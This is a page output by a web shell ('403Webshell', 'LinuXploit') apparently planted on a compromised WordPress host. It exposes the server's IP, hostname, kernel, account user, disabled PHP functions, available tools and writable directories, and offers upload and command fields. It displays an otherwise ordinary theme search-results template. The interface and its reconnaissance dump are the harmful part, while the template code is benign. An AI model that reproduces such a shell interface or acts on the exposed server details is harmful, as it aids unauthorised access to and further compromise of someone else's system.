403Webshell
Server IP : 178.63.100.251  /  Your IP : 216.73.216.228
Web Server : LiteSpeed
System : Linux dobby.thevpsserver.com 4.18.0-553.16.1.lve.el8.x86_64 #1 SMP Tue Aug 13 17:45:03 UTC 2024 x86_64
User : truewayi ( 1855)
PHP Version : 7.4.33
Disable Function : show_source,system,shell_exec,passthru,exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/truewayi/public_html/wp-content/themes/omexo/template-parts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/truewayi/public_html/wp-content/themes/omexo/template-parts//content-search.php
<?php
/**
 * Template part for displaying results in search pages
 *
 * @link https://developer.wordpress.org/themes/basics/template-hierarchy/
 *
 * @package omexo
 */

?>

<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>

    <?php
        $omexo_option = get_option( 'omexo_opt' );
        $post_cat     = omexo_array_get($omexo_option, 'post-cat') ? $omexo_option['post-cat'] : '';
    
        if ( is_single() && 'post' === get_post_type()){
            $omexo_single_post_class = ' omexo-single-post';
        }else{
            $omexo_single_post_class = '';
        }    
    ?>

    <div class="blog-posts omexo-search-content <?php echo esc_attr($omexo_single_post_class); ?>">
        <?php if(has_post_thumbnail()) : ?>
            <div class="blog-post-thumb">
                <?php the_post_thumbnail('omexo-blog-thumb'); ?>
            </div>
        <?php endif; ?>

        <header class="entry-header">
            <?php
            if ( 'post' === get_post_type() ) : ?>
                <div class="blog-posts-meta">
                    <ul class="no-list-style">
                        <li><?php omexo_posted_by();?></li>
                        <li><?php omexo_posted_on();?></li>
                        <?php if(get_comments_number() != 0){?><li><?php omexo_comment_count();?></li><?php } ?>

                        <?php if($post_cat == true || $post_cat !== NULL){?><li><?php omexo_post_categories();?></li><?php } ?>
                    </ul>
                </div><!-- .entry-meta -->
            <?php endif; ?>
            <?php
            if ( !is_singular() ) :
                the_title( '<h3 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h3>' );
            endif;
            ?>
        </header><!-- .entry-header -->

        <div class="entry-content">
            <?php
            if(is_single()){
                the_content( sprintf(
                    wp_kses(
                    /* translators: %s: Name of current post. Only visible to screen readers */
                        __( 'Continue reading<span class="screen-reader-text"> "%s"</span>', 'omexo' ),
                        array(
                            'span' => array(
                                'class' => array(),
                            ),
                        )
                    ),
                    get_the_title()
                ) );

                wp_link_pages( array(
                    'before' => '<div class="page-links">' . esc_html__( 'Pages:', 'omexo' ),
                    'after'  => '</div>',
                ) );
            }else{
                the_excerpt();
                echo '<div class="omexo-post-read-more"><a href="' . esc_url( get_permalink() ) . '" class="omexo-btn fill-btn">'.esc_html__('Read more', 'omexo').'</a></div>';
            }
            ?>
        </div><!-- .entry-content -->

    </div>

</article><!-- #post-<?php the_ID(); ?> -->

Youez - 2016 - github.com/yon3zu
LinuXploit